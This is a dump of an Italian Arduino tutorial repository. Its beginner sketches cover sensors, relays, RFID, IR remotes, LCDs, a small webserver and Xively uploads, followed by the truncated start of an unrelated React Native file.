//#define DHTTYPE DHT11 // DHT 11
#define DHTTYPE DHT22 // DHT 22 (AM2302)
//#define DHTTYPE DHT21 // DHT 21 (AM2301)
// Connettere il pin 1 (a sinistra) a +5V
// Connettere il pin 2 del sensore alla porta 2
// Connettere il pin 4 (a destra) del sensore a GROUND
// Connettere una resistenza da 10K tra il pin 2 (data) e il pin 1 (power) del sensore
DHT dht(DHTPIN, DHTTYPE);
void setup() {
Serial.begin(9600);
Serial.println("DHTxx test!");
dht.begin();
}
void loop() {
// Legge la temperatura e l'umidità ogni 250 millisecondi!
// Vengono inizializzate le variabili in cui vengono scritti i valori letti
float h = dht.readHumidity();
float t = dht.readTemperature();
// Controlla se la lettura è andata a buon fine
if (isnan(t) || isnan(h)) {
Serial.println("Failed to read from DHT");
} else {
Serial.print("Humidity: ");
Serial.print(h); // Stampa nel seriale la percentuale dell'umidità
Serial.print(" %\t");
Serial.print("Temperature: ");
Serial.print(t); // Stampa nel seriale il valore della temperatura
Serial.println(" *C");
}
}
<file_sep>/Capitolo 13/Webserver_HTML/Webserver_HTML.ino
/**
Questo programma mostra come sia possibile inserire del codice HTML all'interno della
pagina web del webserver di Arduino*/
#include <SPI.h>
#include <Ethernet.h>
// Mac Address di Arduino
byte mac[] = {
0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED
};
// Viene inizializzata la libreria Ethernet di Arduino e il webserver gira sulla porta 80
EthernetServer server(80);
void setup() {
Serial.begin(9600);
// Viene inilizzato il webserver e la connessione di rete
Ethernet.begin(mac);
server.begin();
Serial.print("server is at ");
Serial.println(Ethernet.localIP());
}
void loop() {
// Vengono ascoltati nuovi client
EthernetClient client = server.available();
if (client) {
Serial.println("new client");
// Finisce una richiesta HTTP
boolean currentLineIsBlank = true;
while (client.connected()) {
if (client.available()) {
char c = client.read();
Serial.write(c);
// Se viene completato l'invio della richiesta HTTP, allora il server invia la risposta
if (c == '\n' && currentLineIsBlank) {
// Viene fatta una risposta HTTP, in pratica viene creata una pagina WEB in HTML
client.println("HTTP/1.1 200 OK");
client.println("Content-Type: text/html");
client.println("Connection: close"); // Dopo la risposta la connessione si interrompe
//client.println("Refresh: 5"); Ogni 5 secondi in automatico si aggiorna la pagina web
client.println();
client.println("<meta charset=UTF-8>"); // serve per inserire i caretteri speciali
client.println("<!DOCTYPE HTML>");
client.println("<html>");
client.println("<head> <TITLE>Arduino</TITLE> </head>"); // Viene creato il Titolo
client.println("<body> <h1> Benvenuto nel Webserver Arduino </h1>"); // Viene inserito del testo
client.println("<h3> In questa pagina è possibile inserire il codice HTML che vuoi </h3>");
// Viene inserita una immagine, presente in un determinato server
client.println("<img src = \"http://ismanettoneblog.altervista.org/blog/wp-content/uploads/2013/06/ArduinoWiFiShield_Front_450px.jpg\"alt = \"Arduino\"");
client.println("</body>");
client.println("</html>");
break;
}
if (c == '\n') {
currentLineIsBlank = true;
}
else if (c != '\r') {
currentLineIsBlank = false;
}
}
}
delay(1);
// Viene chiusta la connessione
client.stop();
Serial.println("client disconnected");
}
}
<file_sep>/Capitolo 11/RFID_Read_Autorizzazione2_0/RFID_Read_Autorizzazione2_0.ino
/*
Questo programma permette effettuare la lettura di una tessera magnetica e stabilire se quest'ultima
è stata autorizzata.
PINOUT:
RC522 MODULE Uno/Nano
SDA D10
SCK D13
MOSI D11
MISO D12
IRQ N/A
GND GND
RST D9
3.3V 3.3V
Autore <NAME>
Versione 2.0
Novità:
*Possibilità di inserire più di una tessera autorizzata
*/
#include <SPI.h>
#include <RFID.h>
/* Vengono definiti PIN del RFID reader*/
#define SDA_DIO 10 // 53 per Mega
#define RESET_DIO 9
#define delayRead 1000 // Time of delay
#define delayLed 2000
#define ledVerde 3
#define ledRosso 4
/* Viene creata una istanza della RFID libreria */
RFID RC522(SDA_DIO, RESET_DIO);
long uno = 696; // rappresenta la somma delle 4 cifre
int due = 450;
int codiciAutorizzati[] ={uno,due}; // contiene i codici autorizzati
void setup()
{
Serial.begin(9600);
/* Abilita SPI*/
SPI.begin();
/* Viene inizilizzato RFID reader */
RC522.init();
Serial.println("Setup");
pinMode(ledVerde,OUTPUT);
pinMode(ledRosso,OUTPUT);
}
void loop()
{
/* Temporary loop counter */
byte i;
// Se viene letta una tessera
if (RC522.isCard())
{
// Viene letto il suo codice
RC522.readCardSerial();
int codiceLetto = 0;
Serial.println("Codice delle tessera letto:");
// Viene caricato il codice della tessera, all'interno di una Stringa
for(i = 0; i <= 4; i++)
{
codiceLetto+=RC522.serNum[i];
}
Serial.println(codiceLetto);
if(verificaCodice(codiceLetto)){
Serial.println("Tessera autorizzata");
accendiLed(ledVerde);
}else{
Serial.println("Tessera non autorizzata");
accendiLed(ledRosso);
}
delay(delayRead);
}
}
// Questa funzione verifica se il codice Letto è autorizzato
boolean verificaCodice(int codiceLetto){
boolean autorizzato = false;
for(int i = 0; i < sizeof(codiciAutorizzati) ; i++){
if(codiceLetto==codiciAutorizzati[i]){
autorizzato = true;
}
}
return autorizzato;
}
// Questa funzione permette di accendere un LED per un determinato periodo
void accendiLed(int ledPin){
digitalWrite(ledPin,HIGH);
delay(delayLed);
digitalWrite(ledPin,LOW);
}
<file_sep>/Capitolo 12/DHT22 Wireless/TX_DHT22/TX_DHT22.ino
/**
Questo programma permette di inviare diversi valori in maniera wireless tra due Arduino.
In questo caso verrà inviato il valore delle temperatura e dell'umidità, sfruttando il trasduttore DHT22
*/
#include <VirtualWire.h>
#include "DHT.h"
#define DHTPIN 2 // Il pin a cui è collegato il sensore
#define DHTTYPE DHT22 // DHT 22 (AM2302)
int ledPin = 13;
char Sensor1CharMsg[21];// The string that we are going to send trought rf
DHT dht(DHTPIN, DHTTYPE);
void setup() {
// LED
pinMode(ledPin,OUTPUT);
dht.begin();
// VirtualWire setup
vw_setup(2000); // Bits per sec
vw_set_tx_pin(12);// Set the Tx pin. Default is 12
}
void loop() {
float h = dht.readHumidity();
float t = dht.readTemperature();
sprintf(Sensor1CharMsg, "%f,%f,", t, h);
// Turn on a light to show transmitting
vw_send((uint8_t *)Sensor1CharMsg, strlen(Sensor1CharMsg));
vw_wait_tx(); // Wait until the whole message is gone
// Turn off a light after transmission
delay(40);
}
<file_sep>/Capitolo 4/Display_distance/Display_distance.ino
/*
Questo programma mostra come uscare il Display LCD per mostrare la parola "Hello World" e tempo da cui è stato accesso
Il Circuito:
* LCD RS pin to digital pin 12
* LCD Enable pin to digital pin 11
* LCD D4 pin to digital pin 5
* LCD D5 pin to digital pin 4
* LCD D6 pin to digital pin 3
* LCD D7 pin to digital pin 2
* LCD R/W pin to ground
* 10K resistor:
* ends to +5V and ground
* wiper to LCD VO pin (pin 3)
Questo esempio è tratto dal sito di Arduino
http://www.arduino.cc/en/Tutorial/LiquidCrystal
*/
// include the library code:
#include <LiquidCrystal.h>
#define echoPin 7 // Echo Pin
#define trigPin 8 // Trigger Pin
#define LEDPin 13 // LED
int maximumRange = 200; // Maximum range
int minimumRange = 10; // Minimum range
long duration, distance;
// Viene inzializzata la libreria del Display con i relativi PIN a cui è connesso il Display
LiquidCrystal lcd(12, 11, 5, 4, 3, 2);
void setup() {
// set up the LCD's number of columns and rows:
lcd.begin(16, 2);
pinMode(trigPin, OUTPUT);
pinMode(echoPin, INPUT);
pinMode(LEDPin, OUTPUT); // Inizializza il PIN del LED
}
void loop() {
/* La seguente funzione permette di ricavare la distanza a cui si trova un oggetto, vicino al sensore */
digitalWrite(trigPin, LOW);
delayMicroseconds(2);
digitalWrite(trigPin, HIGH);
delayMicroseconds(10);
digitalWrite(trigPin, LOW);
duration = pulseIn(echoPin, HIGH);
/* Calcola la distanza in centimetri dall'oggetto*/
distance = duration/58.2;
// Imposta il cursore alla colonna 0, riga 1
// (nota: line 1 è la seconda riga, dal momento che il conteggio inizia dallo 0):
lcd.setCursor(0, 0);
// Stampa a video i secondi passati dal momento del reset
lcd.print("L'oggetto si trova a");
lcd.print(distance);
}
<file_sep>/Capitolo 10/Telecomando_Relay_Fisso/Telecomando_Relay_Fisso.ino
/**
Questo programme permette di accendere una lampada, attraverso un relay, con un
telecomando ad infrarossi. Questa versione non permette di modificare il codice
a run time
Autore <NAME>
*/
#include <IRremote.h>
int RECV_PIN = 11;
int RELAY_PIN = 13;
int codice = 16738455; // codice dec del telecomando
IRrecv irrecv(RECV_PIN);
decode_results results;
void setup()
{
pinMode(RELAY_PIN, OUTPUT);
Serial.begin(9600);
irrecv.enableIRIn(); // Start the receiver
}
int on = 0;
unsigned long last = millis();
void loop() {
if (irrecv.decode(&results)){
// If it's been at least 1/4 second since the last
// IR received, toggle the relay
if (millis() - last > 250 && results.value==codice ) {
on = !on;
digitalWrite(RELAY_PIN, on ? HIGH : LOW);
//dump(&results);
}
last = millis();
irrecv.resume(); // Receive the next value
}
}
<file_sep>/Albero_di_Natale_Arduino/Albero_di_Natale_Arduino.ino
/**
Questo porgramma permette di creare un piccolo albero di Natale,
con le luci che si accendo attraverso un telecomando ad infrarossi.
Inoltre grazie ad un buzzer, è possibile far suonare le principali canzoni natalizie.
AUTHOR <NAME>
VERSION 1.0
*/
#include <IRremote.h>
#define time1 300
#define T0 16738455
#define T1 16724175
#define T2 16718055
#define T3 16743045
#define T4 16716015
#define T5 16726215
#define T6 16734885
int speakerPin = 9;
int RECV_PIN = 7;
int buttonPin = 2;
IRrecv irrecv(RECV_PIN);
decode_results results;
unsigned long last = millis();
long randNumber;
int ledPattern = true;
int sequenza = -1;
int s = -1;
int led[6] = {13,12,11,10,9,8};
const int beatLength = 50;
int switchState = LOW;
boolean buttonClear = true;
int songChoice;
void setup(){
for(int j = 0; j==5; j++){
pinMode(led[j], OUTPUT);
}
pinMode(13,OUTPUT);
pinMode(12,OUTPUT);
pinMode(11,OUTPUT);
pinMode(10,OUTPUT);
pinMode(speakerPin,OUTPUT);
Serial.begin(9600);
irrecv.enableIRIn();
randomSeed(analogRead(0));
}
void loop(){
// ledOn(13,12);
// ledOn(13,11);
// ledOn(12,11);
updateStatus();
Sequenza(sequenza);
Serial.println(sequenza);
playTune(songChoice);
songChoice=0;
irrecv.resume();
}
void ledOn(int led1, int led2){
digitalWrite(led1,HIGH);
delay(time1);
digitalWrite(led2,HIGH);
delay(time1);
digitalWrite(led1,LOW);
delay(time1);
digitalWrite(led2,LOW);
delay(time1);
updateStatus();
}
void ledOnRandom(int led[]){
randNumber = random(0,5);
for(int i = 0; i<randNumber;i++){
digitalWrite(led[i],HIGH);
}
delay(time1);
for(int i = 0; i<randNumber;i++){
digitalWrite(led[i],LOW);
}
}
int IRcode(int codeRead){
switch(codeRead) {
case T0:
s=0;
break;
case T1:
s=1;
break;
case T2:
s=2;
break;
case T3:
s=3;
break;
case T4:
s=4;
break;
}
return s;
}
void Sequenza(int sequenza){
switch(sequenza){
case 0:
Serial.println("Playing Jingle Bells");
songChoice = 1;
break;
case 1:
Serial.println("Playing The Holly and the Ivy ");
songChoice = 2;
break;
case 2:
Serial.println("Playing We Wish You a Merry Christmas ");
songChoice = 3;
break;
case 3:
Serial.println("Playing Deck the Halls");
songChoice = 4;
break;
case 4:
ledOn(13,12);
break;
case -1:
Serial.println("Non riprodurre");
delay(1000);
break;
}
}
void updateStatus(){
if (irrecv.decode(&results)) {
if (millis() - last > 250) {
sequenza=IRcode(results.value);
}
last = millis();
irrecv.resume();
}
}
void alternateLeds() {
if (ledPattern == true) {
digitalWrite(led[0], LOW);
digitalWrite(led[1], HIGH);
digitalWrite(led[2], LOW);
digitalWrite(led[3], HIGH);
ledPattern = false;
} else {
digitalWrite(led[0], HIGH);
digitalWrite(led[1], LOW);
digitalWrite(led[2], HIGH);
digitalWrite(led[3], LOW);
ledPattern = true;
}
}
// Generate a tone by passing a square wave of a certain period to the piezo
void playTone(int tone, int duration) {
for (long i = 0; i < duration * 1000L; i += tone * 2) {
digitalWrite(speakerPin, HIGH);
delayMicroseconds(tone);
digitalWrite(speakerPin, LOW);
delayMicroseconds(tone);
}
}
/* This works out what period, in microseconds, to use for the square wave for a given note. To calculate these,
p = ((1 / freq) * 1,000,000) / 2. We divide by 2 because the signal will be HIGH for p microseconds and then LOW
for p microseconds. Frequencies for the notes obtained from http://www.phy.mtu.edu/~suits/notefreqs.html
The range defined below covers 2 octaves from C4 (middle C, or 261.63Hz) to B5 (987.77Hz). Feel free to modify. */
void playNote(char note, int duration, boolean sharp) {
char names[] = { 'c', 'd', 'e', 'f', 'g', 'a', 'b', 'C', 'D', 'E', 'F', 'G', 'A', 'B' };
int tones[] = { 1915, 1700, 1519, 1432, 1275, 1136, 1014, 956, 851, 758, 716, 636, 568, 506 };
// these are the "sharp" versions of each note e.g. the first value is for "c#"
char names_sharp[] = { 'c', 'd', 'f', 'g', 'a', 'C', 'D', 'F', 'G', 'A' };
int tones_sharp[] = { 1804, 1607, 1351, 1204, 1073, 902, 804, 676, 602, 536 };
// play the tone corresponding to the note name
if (sharp == false) {
for (int i = 0; i < 14; i++) {
if (names[i] == note) {
playTone(tones[i], duration);
}
}
} else {
for (int i = 0; i < 10; i++) {
if (names_sharp[i] == note) {
playTone(tones_sharp[i], duration);
}
}
}
}
/* Code for using a microswitch as a start/stop toggle
Note: to stop a song half way through, you may have to hold the button down for a moment */
void updateSwitchState() {
int val = digitalRead(buttonPin);
if (val == HIGH) {
buttonClear = true;
} else {
if (buttonClear == true) {
if (switchState == LOW) {
switchState = HIGH;
} else {
switchState = LOW;
}
buttonClear = false;
}
}
}
void parseTune(char notes[], int beatLength, boolean loopSong) {
boolean play = true;
// 1 iteration of this loop == 1 note played
for (int i = 0; notes[i] != '.' && play == true; i++) { // stop iteration if '.' is the next char
updateSwitchState();
updateStatus();
if (irrecv.decode(&results) ) { // For every note, check to see if the button has been pressed to stop the tune
play = false;
} else {
if (notes[i] == ',') { // ',' signifies a rest
// Look at the number (max. 2 digits) following from the ',' to work out the duration of the rest
char len[3];
int count = 0;
while (notes[i+1] >= '0' && notes[i+1] <= '9' && count < 2) {
len[count] = notes[i+1];
count++;
i++;
}
len[count] = '\0';
int duration = atoi(len);
delay(duration * beatLength); // rest duration
} else { // play the next note, represented by a series of characters e.g. 'c4', 'a#12'
alternateLeds(); // alternate the red and green LEDs every note to make them "dance"
char note = notes[i];
boolean sharp;
// if the next character is a '#' then we must make the note a sharp
if (notes[i+1] == '#') {
i++;
sharp = true;
} else {
sharp = false;
}
// Look at the number (max. 2 digits) following from the note name to work out the note duration
char len[3];
int count = 0;
while (notes[i+1] >= '0' && notes[i+1] <= '9' && count < 2) {
len[count] = notes[i+1];
count++;
i++;
}
len[count] = '\0';
int duration = atoi(len);
playNote(note, duration * beatLength, sharp);
}
delay(beatLength / 2); // pause between notes
}
}
if (loopSong == false) {
sequenza=-1;
}
}
// Write your tunes in here using the grammar described at the top of this file. Can have up to 4 tunes.
void playTune (int tune) {
if (tune == 1) { // Jingle Bells
char notes[] = "b4b4b8b4b4b8b4D4g6a2b12,4C4C4C6C2C4b4b4b2b2b4a4a4b4a8D8b4b4b8b4b4b8b4D4g6a2b12,4,C4C4C6C2C4b4b4b2b2D4D4C4a4g12,8.";
parseTune(notes, beatLength, false);
} else if (tune == 2) { // The Holly and the Ivy
char notes[] = "g4g2g2g4E4D4b6g2g2g2g4E4D8D2C2b2a2g4b2b2e2e2d4g2a2b2C2b4a4g8,8.";
parseTune(notes, beatLength * 1.50, false);
} else if (tune == 3) { // We Wish You a Merry Christmas
char notes[] = "d4g4g2a2g2f#2e4c4e4a4a2b2a2g2f#4d4f#4b4b2C2b2a2g4e4d2d2e4a4f#4g8,8.";
parseTune(notes, beatLength * 1.25, false);
} else if (tune == 4) { // Deck the Halls
char notes[] = "D6C2b4a4g4a4b4g4a2b2C2a2b6a2g4f#4g6,2D6C2b4a4g4a4b4g4a2b2C2a2b6a2g4f#4g6,2a6b2C4a4b6C2D4a4b2C#2D4E2F#2G4F#4E4D6,2D6C2b4a4g4a4b4g4E2E2E2E2D6C2b4a4g8,8.";
parseTune(notes, beatLength, false);
}
}
<file_sep>/Capitolo 10/Telecomando_Relay_Set_Code/Telecomando_Relay_Set_Code.ino
/* Questo progetto permette di utilizzare Arduno e un telecomando IR, per accendere un carico collegato al Relay sul PIN 13.
Inoltre è possibile modificare il code del telecomando, attraverso il pushbutton di RESET
AUTHOR: <NAME>
VERSION: 1.0
*/
#include <IRremote.h>
int RECV_PIN = 11;
int RELAY_PIN = 13;
int pushButton = 3;
unsigned long code;
IRrecv irrecv(RECV_PIN);
decode_results results;
void setup()
{
pinMode(RELAY_PIN, OUTPUT);
pinMode(pushButton,INPUT);
irrecv.enableIRIn();
Serial.begin(9600);
}
int on = 0;
unsigned long last = millis();
void loop() {
int buttonState = digitalRead(pushButton);
delay(100);
if ( buttonState == HIGH) {
Serial.println("Settings...");
if (irrecv.decode(&results) && millis() - last > 250){
code = results.value;
Serial.println("New code setting...");
Serial.println(code);
Serial.println(results.value);
last = millis();
irrecv.resume();
}
}
if (irrecv.decode(&results)){
if (millis() - last > 250 && results.value==code ) {
on = !on;
digitalWrite(RELAY_PIN, on ? HIGH : LOW);
}
last = millis();
irrecv.resume();
}
}
<file_sep>/Capitolo 5/Relay_easy/Relay_easy.ino
/*Questo programma permette l'accessione di una lampada ad intervalli regolari, attraverso un relay*/
int relay1 = 4; // PIN a cui è connesso il relay ad Arduino
int t = 5000; // Imposto intervallo di tempo con cui si accende e spegne la lampada
void setup()
{
pinMode(relay1, OUTPUT); // Imposta l'uscita del PIN
Serial.begin(9600);
}
void loop()
{
digitalWrite(relay1, HIGH); // Chiudo l'interruttore del relè
Serial.println("HIGH \n");
delay(t); // Tempo di attesa
digitalWrite(relay1, LOW); // Apro l'interruttore del relè
Serial.println("LOW \n");
delay(t); // Tempo di attesa
}
<file_sep>/Capitolo 16/Joystick_Hello/Joystick_Hello.ino
/**
Questo programa spiega come utilizzare il Joystick con Arduino
Versione 1.0
Autore <NAME>
*/
int A = 2;
int B = 3;
int C = 4;
int D = 5;
int x = A0;
int y = A1;
char key[] = {'A','B','C','D'};
void setup() {
Serial.begin(9600);
}
void loop() {
keyPressed(A);
keyPressed(B);
keyPressed(C);
keyPressed(D);
joystick();
delay(100);
}
/* Questa funzione mostra se un pin è stato mostrato*/
void keyPressed(int index){
if(digitalRead(index)==0){
Serial.print(key[index-2]);
Serial.print(" has been pressed");
Serial.print("\n");
}
}
/* Questa funziona mostra lo spostamendo x e y del joystick*/
void joystick(){
Serial.print("x: ");
Serial.print(analogRead(x));
Serial.print(" y: ");
Serial.print(analogRead(y));
Serial.print("\n");
}
<file_sep>/Capitolo 1/LED_ciclo_for/LED_ciclo_for.ino
/* Programma che fa accedere dopo un determinato periodo i LED*/
int led[3] = {13,12,11}; //Viene dichiarto un vettore, che contiene i Pin dei vari LED
int i; // Questo variabile viene utilizzato come un contantore all'interno dei cicli for
int ritardo= 1000; //Questo valore rappresenta la durata di accessione di ciascun LED
void setup() {
// Vengono inzializzate le varie uscite, in modo da abilitare la tensione corretta per far accedere i LED
for(i =0; i<3; i++) {
pinMode(led[i], OUTPUT);
}
// Serve qualora fosse necessario utilizzare la console
Serial.begin(9600);
}
// La funzione loop permette di continuare ad effettuare le varie operazioni, all'inifinito
void loop() {
// Questo ciclo for permette di accedere e spegnere i LED in modo corretto
for(i =0; i<3; i++) {
digitalWrite(led[i], HIGH); // Viene accesso il primo LED
delay(ritardo);
digitalWrite(led[i], LOW); // Viene spento il primo LED
digitalWrite(led[i+1], HIGH); // Viene accesso il sueccessivo LED
delay(ritardo);
}
}
<file_sep>/Capitolo 5/Relay_push_button/Relay_push_button.ino
/* Questo programma permette di accendere una lampada connessa al relè attraverso la pressione su un buttone, facendola rimanere accesa per un certo periodo
This example code is in the public domain.
http://www.arduino.cc/en/Tutorial/Button
*/
const int buttonPin = 2; // Il PIN a cui è connesso il bottone
const int relay = 13; // Il PIN a cui è connesso il relè
int t = 5000;
// Inizializzo la variabile che indica lo stato del bottone
int buttonState = 0;
void setup() {
// Inizzilizza l'uscita del relè
pinMode(relay, OUTPUT);
// Inizilizza l'ingresso del bottone
pinMode(buttonPin, INPUT);
}
void loop(){
// Leggo lo stato del bottone
buttonState = digitalRead(buttonPin);
// Controllo se viene premuto il bottone
// Se lo stato è HIGH, allora viene premuto
if (buttonState == HIGH) {
// Chiudo l'interruttore per un periodo t
digitalWrite(relay, HIGH);
delay(t);
}
else {
// Apro l'interruttore
digitalWrite(relay, LOW);
}
}
<file_sep>/Capitolo 16/Joystick_Elicottero_Shield/Joystick_Elicottero_Shield.ino
/**
Questo programa permette di utilizzare la Joystick shield per comandare l'elicottero Syma S-107G
Versione 1.0
Autore <NAME>
*/
#define RED 12 // the output pin of the IR LED
int A = 2;
int B = 3;
int C = 4;
int D = 5;
int x = A0;
int y = A1;
int throttleValue = 63; //Initial value
void setup() {
pinMode(RED, OUTPUT); // set IR LED (Pin 4) to Output
int Channel = 0; //Channel A = 0, Channel B = 128
pinMode(A,INPUT);
pinMode(B,INPUT);
pinMode(C,INPUT);
pinMode(D,INPUT);
Serial.begin(9600);
}
void loop() {
int Throttle, Rudder, Elevator, RudderTrim;
int Channel;
Throttle = throttleValue;
Rudder = leftRightToPerc(analogRead(x));
Elevator = upDownToPerc(analogRead(y));
RudderTrim = 0;
Serial.println(Throttle);
//Serial.println(Rudder);
//Serial.println(Elevator);
//Transmit(0,63,50,0);
Transmit(Rudder, Elevator, Throttle, RudderTrim);
throttle();
}
void Transmit(byte rudder, byte elevator, byte throttle, byte trim) {
static byte Code[4];
byte mask = 128; //bitmask
int i;
Code[0] = rudder; // 0 -> 127; 63 is the midpoint.
Code[1] = elevator; // 0 -> 127; 63 is the midpoint.
Code[2] = throttle; // 0 -> 127; 0 is throttle off
Code[3] = trim; // Haven't messed with this
OutPulse(2002); // Start 38Khz pulse for 2000us (2002us is evenly divided by 26)
delayMicroseconds(2000); // 2000us off.
for (i = 0; i<4; i++) { // Loops through the Code[]
for (mask = 128; mask > 0; mask >>=1) { // See Arduino reference for bit masking (really cool stuff!)
OutPulse(312); // Sends 312 pulse each loop
if(Code[i] & mask) { //If both bit positions are 1 you get 1
delayMicroseconds(688); // send 1 (700 off)
}
else {
delayMicroseconds(288); // send 0 (300 off)
}
} //End mask loop
} //End i loop
OutPulse(312); //Send 300 microsecond Closing Pulse
delay(60);
} // End Transmit
void OutPulse(int Pulse) { //sends 38Khz pulses over the Pulse Length
int par=Pulse/26;
par+=-1;
for(int p = 0; p < par; p++) { //Takes about 26 microseconds per loop
digitalWrite(RED, HIGH);
delayMicroseconds(10);
digitalWrite(RED, LOW);
delayMicroseconds(10);
}
} //End Out
int leftRightToPerc(int value){
return (int) (127-value*0.12414467);
}
int upDownToPerc(int value){
return (int) (127-value*0.12414467);
}
// Viene aumentato il valore della potenza/quota
void throttle(){
if(hasBeenPressed(C)&&throttleValue!=0){
throttleValue--;
}
if(hasBeenPressed(A)&&throttleValue!=127){
throttleValue++;
}
}
// Stabilisce se un push button è stato premuto
boolean hasBeenPressed(int key){
if(digitalRead(key)==0){
return true;
}else{
return false;
}
}
<file_sep>/Capitolo 12/DHT22 Wireless/RX_DHT22/RX_DHT22.ino
/**
Questo programma, caricato sul RX, permette di ricevere il valore della temperatura e dell'umidità che vengono inviate da
un Arduino, attraverso il modulo wireless, sfruttando il DHT22, come trasduttore
*/
#include <VirtualWire.h>
char StringReceived[22];
void setup() {
// VirtualWire
// Initialise the IO and ISR
// Required for DR3100
// Bits per sec
vw_setup(2000);
vw_set_rx_pin(11);
// Start the receiver PLL running
vw_rx_start();
} // END void setup
void loop(){
float t;
float h;
uint8_t buf[VW_MAX_MESSAGE_LEN];
uint8_t buflen = VW_MAX_MESSAGE_LEN;
//Taking the data from the control base
if (vw_get_message(buf, &buflen))
{
int i;
// Message with a good checksum received, dump it.
for (i = 0; i < buflen; i++)
{
// Fill Sensor1CharMsg Char array with corresponding
// chars from buffer.
StringReceived[i] = char(buf[i]);
}
sscanf(StringReceived, "%f,%f",&t, &f); // Converts a string to an array
// Turn off light to and await next message
}
memset( StringReceived, 0, sizeof( StringReceived));// This line is for reset the StringReceived
}
<file_sep>/README.md
Arduino-Book-Code
=================
Questo repo contiene tutti i programmi che vengono pubblicati sul mio blog http://ismanettoneblog.altervista.org/blog/ e
http://www.ismanettone.it/. Su questi due siti, si trovano le recensioni complete, con consigli su come usare al
meglio i programmi che trovate.
<file_sep>/Capitolo 1/Semaforo/Semaforo.ino
/* Questo programma simula un semaforo, attraverso i 3 LED colorati */
int led_green = 13;
int led_yellow = 12;
int led_red = 11;
int tempo_verde = 5000;
int tempo_giallo = 4000;
int tempo_rosso = 3000;
// the setup routine runs once when you press reset:
void setup() {
// initialize the digital pin as an output.
pinMode(led_green, OUTPUT);
pinMode(led_yellow, OUTPUT);
pinMode(led_red, OUTPUT);
Serial.begin(9600);
}
// the loop routine runs over and over again forever:
void loop() {
digitalWrite(led_green, HIGH); // turn the LED on (HIGH is the voltage level)
Serial.print("Il semaforo e' verde \n");
delay(tempo_verde); // wait for a second
digitalWrite(led_green, LOW);
digitalWrite(led_yellow, HIGH); // turn the LED off by making the voltage LOW
Serial.print("Il semaforo e' giallo \n");
delay(tempo_giallo);
digitalWrite(led_yellow, LOW);
digitalWrite(led_red, HIGH);
Serial.print("Il semaforo e' rosso \n");
delay(tempo_rosso);
digitalWrite(led_red, LOW);
}
<file_sep>/Capitolo 7/LUCE_applausi/LUCE_applausi.ino
// Qyesto programma permette di utilizzare il sensore acustico LM393 per accedere e spegnere una lampada connessa ad un relè
int Relay = 4; // Pin a cui è connesso il relè
void setup()
{
pinMode(Relay, OUTPUT); // Viene imposta il relè
pinMode(A0, INPUT); // Viene inizializzato il sensore LM393
digitalWrite(Relay, LOW); // Il relè è aperto e quindi non passa corrente
}
void loop()
{
// Questa variabile permette di capire lo stato del relè
int on = 0;
// Se viene rilevato del rumore il relè si chiude
if (digitalRead(A0) == LOW ) {
on = !on;
digitalWrite(Relay, on ? HIGH : LOW);
}
}
<file_sep>/Capitolo 15/Xively_DHT22/Xively_DHT22.ino
/**
Questo programma permette di leggere la temperatura e l'umidità dentro e fuori casa e inviare i dati al servizio Xively
Versione 1.0
Autore <NAME>
*/
#include "SPI.h"
#include "Ethernet.h"
#include "HttpClient.h"
#include "DataCoder.h"
#include "VirtualWire.h"
#include "Xively.h"
#include "DHT.h"
#define DHTPIN 3
//#define DHTTYPE DHT11 // DHT 11
#define DHTTYPE DHT22 // DHT 22 (AM2302)
//#define DHTTYPE DHT21 // DHT 21 (AM2301)
DHT dht(DHTPIN, DHTTYPE);
int rx_pin = 11;
int baudRate = 800;
// MAC address for your Ethernet shield
byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
// Your Xively key to let you upload data
char xivelyKey[] = "INSERIRE IL PROPRIO VALORE";
// Define the strings for our datastream IDs
char tIN[] = "TemperaturaDentro";
char hIN[] = "UmiditaDentro";
char tOUT[] = "TemperaturaFuori";
char hOUT[] = "UmiditaFouri";
XivelyDatastream datastreams[] = {
XivelyDatastream(tIN, strlen(tIN), DATASTREAM_FLOAT),
XivelyDatastream(hIN, strlen(hIN), DATASTREAM_FLOAT),
XivelyDatastream(tOUT, strlen(tOUT), DATASTREAM_FLOAT),
XivelyDatastream(hOUT, strlen(hOUT), DATASTREAM_FLOAT),
};
// INSERIRE IL PROPRIO VALORE
XivelyFeed feed(12345678, datastreams, 4 /* number of datastreams */);
EthernetClient client;
XivelyClient xivelyclient(client);
void setup() {
Serial.begin(9600);
Serial.println("Starting single datastream upload to Xively...");
Serial.println();
dht.begin();
while (Ethernet.begin(mac) != 1)
{
Serial.println("Error getting IP address via DHCP, trying again...");
delay(15000);
}
Serial.print("server is at ");
Serial.println(Ethernet.localIP());
SetupRFDataRxnLink(rx_pin, baudRate);
}
void loop() {
float hIN = dht.readHumidity();
float tIN = dht.readTemperature();
uint8_t buf[VW_MAX_MESSAGE_LEN];
uint8_t buflen = VW_MAX_MESSAGE_LEN;
union RFData inDataSeq;//To store incoming data
float inArray[2];//To store decoded information
if(RFLinkDataAvailable(buf, &buflen))
{
for(int i =0; i< buflen; i++)
{
inDataSeq.s[i] = buf[i];
}
DecodeRFData(inArray, inDataSeq);
float tOUT = inArray[0];
float hOUT = inArray[1];
// Setting data to send to Xively
datastreams[0].setFloat(tIN);
datastreams[1].setFloat(hIN);
datastreams[2].setFloat(tOUT);
datastreams[3].setFloat(hOUT);
Serial.println("Uploading it to Xively");
int ret = xivelyclient.put(feed, xivelyKey);
Serial.print("xivelyclient.put returned ");
Serial.println(ret);
}
}
<file_sep>/Capitolo 1/LED_base/LED_base.ino
/* Programma che fa accedere e spegnere un LED*/
int led = 13; // Viene incato a che PIN è collegato l'anodo del LED
int ritardo= 1000; //Questo valore rappresenta la durata di accessione di ciascun LED
void setup() {
pinMode(led, OUTPUT); // Viene inizializzata il PIN 13, per far uscire una tensione adeguata per il LED
// Serve qualora fosse necessario utilizzare la console
Serial.begin(9600);
}
// La funzione loop permette di continuare ad effettuare le varie operazioni, all'inifinito
void loop() {
digitalWrite(led, HIGH); // Viene accesso LED
delay(ritardo);
digitalWrite(led, LOW); // Viene spento LED
delay(ritardo);
}
|
efe71622121597e345fe9cb093de1c96f069f332
|
[
"Markdown",
"C++"
] | 28 |
Markdown
|
HossamBalaha/Arduino-Book-Code
|
9a2a3c59b504524b4c02cd2eb9b4df914f5acccb
|
d448e76293187c0f7378194db89ed6f24e9c63a8
|
refs/heads/master
|
<repo_name>mudassirijaz786/barber-react-native<file_sep>/screens/ResetPassword.js
import * as yup from 'yup'
import { Formik } from 'formik'
import React, { Component, Fragment } from 'react';
import { Alert, StyleSheet, Text, View } from 'react-native';
